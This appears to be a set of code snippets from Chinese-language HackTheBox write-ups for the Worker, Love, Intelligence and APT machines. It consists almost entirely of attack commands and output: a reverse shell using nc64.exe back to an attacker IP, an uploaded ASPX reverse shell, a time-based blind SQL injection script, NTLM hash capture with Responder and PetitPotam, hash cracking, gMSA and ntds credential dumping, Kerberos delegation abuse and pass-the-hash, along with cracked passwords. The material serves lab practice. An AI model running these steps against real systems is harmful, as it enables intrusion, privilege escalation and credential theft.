psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred

# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"

1
2
3
4
5

iot core是管理层，控制对usb设备也就是data目录的访问
8080是iot core的管理接口 也就是之前说的那个Windows Device Portal
28080端口运行着主程序
通过8080端口的web解密获得凭据 才能对data目录操作
攻击者-->8080管理接口-->usb设备-->data目录

1
2
3
4

svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H "Host: FUZZ.worker.htb" --hh 703

1
2
3
4

svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder

1

svn log svn://10.10.10.203

1

svn up -r 2

1

nathen:wendel98

1
2
3
4
5
6
7

Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
Start-Process 开始新进程执行后面的命令
powershell.exe -Credential $Credential 调用上面的凭证
ArgumentList 传参

所以最终命令如下
powershell.exe -file Copy-Site.ps1

1
2
3

$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)

1

crunch 8 8 -t wendel%% > new_password.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# git 我将alpha项目clone到本地 加上一个文件 再push上去 应该就可以了
git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha

# Cloning into 'alpha'...
# Username for 'http://devops.worker.htb': nathen
# Password for 'http://[email protected]':
# remote: Azure Repos
# remote: Found 54 objects to send. (51 ms)
# Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done.

# 这次我不打算使用msfvenom生成shell 而是结合其他人看看他们的方法
# https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com 我打算用这个
# 在alpha项目放入了shell.aspx
# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main

1
2
3
4

# 在本地新建分支
git checkout -b branch2
# push的时候新建分支并push过去
git push --set-upstream origin branch2

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " whoami | Set-Content C:\Users\Public\w.log"

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " C:\Users\Public\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe"

1

powershell -exec bypass "import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated"

1

msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi

1

msiexec.exe /quiet /qn /i add.msi

1

evil-winrm -i 10.10.10.239 -u msi -p Pass@123

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

import requests

cookies = {
    'PHPSESSID': 'c8kjhdoo2juviv0rfkgsop4tol',
}

li = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/~`"\'\\')

# for i in li:
#     print(i)

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cache-Control': 'max-age=0',
    'Content-Type': 'application/x-www-form-urlencoded',
    # 'Cookie': 'PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol',
    'Origin': 'http://10.10.10.239',
    'Proxy-Connection': 'keep-alive',
    'Referer': 'http://10.10.10.239/admin/index.php',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

# database
# temp = ''
#
# for temp_number in range(1,11):
#     for i in li:
#         import time
#         start = time.time()
#         data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
#         response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
#         end = time.time()
#         print(i,str(end-start))
#         if end-start >= 5.0:
#             temp += i
#             print(temp)
#             break
#
# print(temp)

# username
# temp = ''
#
# for temp_number in range(1,6):
#     for i in li:
#         import time
#         start = time.time()
#         data = f'%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ'
#         response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
#         end = time.time()
#         print(i,str(end-start))
#         if end-start >= 5.0:
#             temp += i
#             print(temp)
#             break
#
# print(temp)

temp = ''

for temp_number in range(1,61):
    for i in li:
        import time
        start = time.time()
        data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
        response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
        end = time.time()
        print(i,str(end-start))
        if end-start >= 5.0:
            temp += i
            print(temp)
            break

print(temp)

1

rpcclient -U "" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' -N 10.10.10.248

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H "Host: FUZZ.intelligence.htb" --hh 7432

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import datetime
import requests

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cache-Control': 'max-age=0',
    # 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
    # 'If-None-Match': '"0e86d731827d71:0"',
    'Proxy-Connection': 'keep-alive',
    'Referer': 'http://dc.intelligence.htb/',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

date_list = []

while start_date < end_date:
    date_list.append(start_date)
    response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
    start_date += dalta
    if response.status_code == 200:
        print(f'http://intelligence.htb/documents/{start_date}-upload.pdf')
        open('./url.txt','a',encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

import PyPDF2
import requests
from io import BytesIO
import datetime

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cache-Control': 'max-age=0',
    'Proxy-Connection': 'keep-alive',
    'Referer': 'http://intelligence.htb/',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

def Evidence(start_date):
    try:
        response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
        pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
        docinfo = pdffile.getDocumentInfo()
        # print('[*] PDF metadata For：'+ str(filepath))
        for metaItem in docinfo:
            print(f'http://intelligence.htb/documents/{start_date}-upload.pdf', end='  ')
            print(metaItem.strip('/'), ":", docinfo[metaItem])
            open('users.txt', 'a', encoding='utf-8').write(docinfo[metaItem] + '\n')
    except Exception as e:
        pass

if __name__ == '__main__':
    while start_date < end_date:
        Evidence(start_date)
        start_date += dalta

1
2

# 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
# 'If-None-Match': '"0e86d731827d71:0"',

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import PyPDF2
import requests
from io import BytesIO
import datetime

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cache-Control': 'max-age=0',
    'Proxy-Connection': 'keep-alive',
    'Referer': 'http://intelligence.htb/',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

def Evidence(start_date):
    try:
        response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
        pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
        docinfo = pdffile.getDocumentInfo()
        # print('[*] PDF metadata For：'+ str(filepath))
        for index, page in enumerate(pdffile.pages):  # 遍历所有页面
            open('test.txt', 'a', encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')
            open('test.txt', 'a', encoding='utf-8').write(page.extract_text()+'\n\n\n\n\n\n\n')
    except Exception as e:
        pass

if __name__ == '__main__':
    while start_date < end_date:
        Evidence(start_date)
        start_date += dalta

1
2
3

NewIntelligenceCorpUser9876

crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success

1

ntelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

1
2
3
4
5
6
7
8
9

Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

1

$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials

1

python3 dnstool.py ldap://10.10.10.248:389 -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14

1

python3 dnstool.py  -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

1

responder -I tun0

1
2
3
4

[HTTP] NTLMv2 Client   : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
[*] Skipping previously captured hash for intelligence\Ted.Graves

1
2
3

hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt

Ted.Graves:Mr.Teddy

1

bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all

1
2
3

runas /user:administrator cmd.exe
psexec -i -s cmd.exe
Start-Process cmd.exe -Verb RunAs

1
2
3
4
5
6
7
8

python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb

Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::8ee3b94d589dba78682293e1281bd394
svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80
svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee

1
2

ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT

1
2

ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT

1
2

export  KRB5CCNAME=Administrator@[email protected]
/usr/share/doc/python3-impacket/examples/wmiexec.py intelligence.htb/[email protected] -k -no-pass

1
2

W3layouts
HTTrack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j

ALL Find 8 links
url:http://10.10.10.213/index.html
Remaining 8 | Find 0 URL in http://10.10.10.213/index.html
url:http://10.10.10.213/#
Remaining 7 | Find 0 URL in http://10.10.10.213/#
url:http://10.10.10.213/services.html
Remaining 6 | Find 0 URL in http://10.10.10.213/services.html
url:http://10.10.10.213/clients.html
Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html
url:http://10.10.10.213/about.html
Remaining 4 | Find 0 URL in http://10.10.10.213/about.html
url:http://10.10.10.213/support.html
Remaining 3 | Find 0 URL in http://10.10.10.213/support.html
url:http://10.10.10.213/news.html
Remaining 2 | Find 0 URL in http://10.10.10.213/news.html

1
2

[email protected]
gigantichosting.com

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H "Host: FUZZ.gigantichosting.com" --hh 14879

1
2
3
4
5
6
7
8
9

rpcclient:
  主要用于SMB/CIFS服务
  Windows域环境中常用
  需要凭据

rpcmap.py/rpcdump.py:
  专注于RPC端点枚举
  不需要凭据
  可以发现更多RPC接口

1

rpcmap.py 'ncacn_ip_tcp:10.10.10.213'

1
2
3
4
5

python IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f

1

rpcclient -U "" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' apt.htb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

nmap -n -sV --script "ldap* and not brute" -p 389 -6 apt.htb

|       dnsHostName: apt.htb.local
|       ldapServiceName: htb.local:[email protected]
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local
|       dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local
|       namingContexts: DC=htb,DC=local
|       namingContexts: CN=Configuration,DC=htb,DC=local
|       namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
|       namingContexts: DC=DomainDnsZones,DC=htb,DC=local
|       namingContexts: DC=ForestDnsZones,DC=htb,DC=local
|       defaultNamingContext: DC=htb,DC=local
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local
|       configurationNamingContext: CN=Configuration,DC=htb,DC=local
|       rootDomainNamingContext: DC=htb,DC=local

1
2

enum4linux -a -u "" -p "" htb.local && enum4linux -a -u "guest" -p "" htb.local
smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local

1
2
3
4
5
6
7
8
9

smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local

	Sharename       Type      Comment
	---------       ----      -------
	backup          Disk
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	SYSVOL          Disk      Logon server share
htb.local is an IPv6 address -- no workgroup available

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

[+] Attempting to map shares on htb.local

//htb.local/backup	Mapping: OK Listing: OK Writing: N/A
//htb.local/IPC$	Mapping: OK Listing: DENIED Writing: N/A

[E] Can't understand response:

do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/NETLOGON	Mapping: N/A Listing: N/A Writing: N/A

[E] Can't understand response:

do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/SYSVOL	Mapping: N/A Listing: N/A Writing: N/A

1
2
3

crackmapexec smb htb.local
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)

1
2

smbget -R smb://htb.local/backup #这个要求ip而不是域名 所以不行
mount -t cifs //htb.local/backup/ ./backup	#也不行

1

smbclient -m SMB2 -N '//htb.local/backup' -c 'timeout 120; iosize 16384; get backup.zip'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

zip2john backup.zip > passwd.hash
ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8
ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8
ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8
ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

1
2

zip2john backup.zip > passwd.hash -o ntds.dit
zip2john backup.zip

1

backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$

1
2
3
4
5
6
7
8
9

john ./hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch   (backup.zip)
1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

1

/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL > htlm.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

import re

temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
for i in temp_htlm:
    temp = i.replace('\n','')
    if 'endstop' in temp:
        break
    temp = temp.split(':')
    try:
        print(temp[0])
        print(temp[3])
        open('userandpass.txt','a',encoding='utf-8').write(temp[0]+':'+temp[2]+":"+temp[3]+'\n')
        open('users.txt', 'a', encoding='utf-8').write(temp[0] + '\n')
        open('hashes.txt', 'a', encoding='utf-8').write(temp[2] + ":" + temp[3] + '\n')
    except:
        pass

1

kerbrute userenum --dc htb.local -d htb.local users.txt

1
2

kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt
crackmapexec winrm htb.local -u 1.txt -H hashes.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

import re

temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
for i in temp_htlm:
    temp = i.replace('\n','')
    if 'endstop' in temp:
        break
    temp = temp.split(':')
    try:
        print(temp[0])
        print(temp[3])
        open('new_userandpass.txt', 'a', encoding='utf-8').write("henry.vinson" + ":" + temp[3] + '\n')
        open('new_userandpass.txt', 'a', encoding='utf-8').write("APT$" + ":" + temp[3] + '\n')
        open('new_userandpass.txt', 'a', encoding='utf-8').write("Administrator" + ":" + temp[3] + '\n')
    except:
        pass

1

user_key = (RC4_HMAC, bytes.fromhex(temp))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

#!/bin/bash

for temp in $(cat hashes.txt)
do
	result=$(getTGT.py htb.local/henry.vinson -hashes $temp)
	if [[ $result != *"Pre-authentication information was invalid"* ]]
	then
		echo $temp
		echo $result
	fi
done

1
2
3
4
5
6

rpcclient -U "" -N htb.local
rpcdump> gettime
# 或者
net time -S htb.local

date -s "Sat Dec  7 05:14:11 2024"

1

date -s "$(net time -S htb.local)"

1

smbclient -L //htb.local/ -U 'henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb' --pw-nt-hash

1
2

GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request
GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local

1

reg.py htb.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\

1

reg.py htb.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\ -s

1
2
3

\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem\
	UserName	REG_SZ	 henry.vinson_adm
	PassWord	REG_SZ	 G1#Ny5@2dvht

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\winPEASany.exe

1
2

$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 此命令获取一个凭证对象并将其保存在变量中。 输入命令时，系统会提示您输入用户名和密码。
# 输入所需信息后，cmdlet 会创建一个表示用户凭据的PSCredential$c对象并将其保存在变量中。
# 密码没有捕获到 因为是交互式的
get-credential

# 运行命令并指定凭证
invoke-command -credential $Cred

# 指定计算机
-computername

# 指定计算机后可以在目标计算机上执行命令 实际上就是在本地执行命令
-scriptblock

# 创建注册表并赋予初值
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"

# 根据我查到的默认值为LmCompatibilityLevel 有以下介绍
# 默认情况下，LM 和 ntlmv1 未被禁用，因此值为 3，表示接受 LM 和 NTLMv1
# 并且如果服务器支持则使用 NTLMV2。
lmcompatibilitylevel

# type的参数我只找到了介绍 RegistryValueKind 但是我google了这个他说是32位无符号整数 数据类型
-Type DWORD

# value就是给某个name赋值 他没有指定name 实际上就是给LmCompatibilityLevel赋值为2
-Value 2 -Force

上面我搜索到的结果只提到了 3，4，5是什么情况 没提到2是什么情况 不过我还是找到了
下面最后一个链接告诉了我答案
也就是默认会使用NTLMv1认证同时接受LM和NTLM认证

1
2
3
4
5
6
7
8
9

编辑/etc/responder/Responder.conf文件

HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788

1
2
3
4
5
6

# 然后运行
responder -I eth0 --lm

# 提到了两种方法 一种无需认证 一种需要认证
>PetitPotam.exe Responder-IP DC-IP #2021 年 8 月左右修补
>PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP #未为经过身份验证的用户打补丁

1

python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local

1

PetitPotam.exe Responder-IP DC-IP

1
2

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe

1

python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local

1

.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe

1
2
3

[SMB] NTLMv1 Client   : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788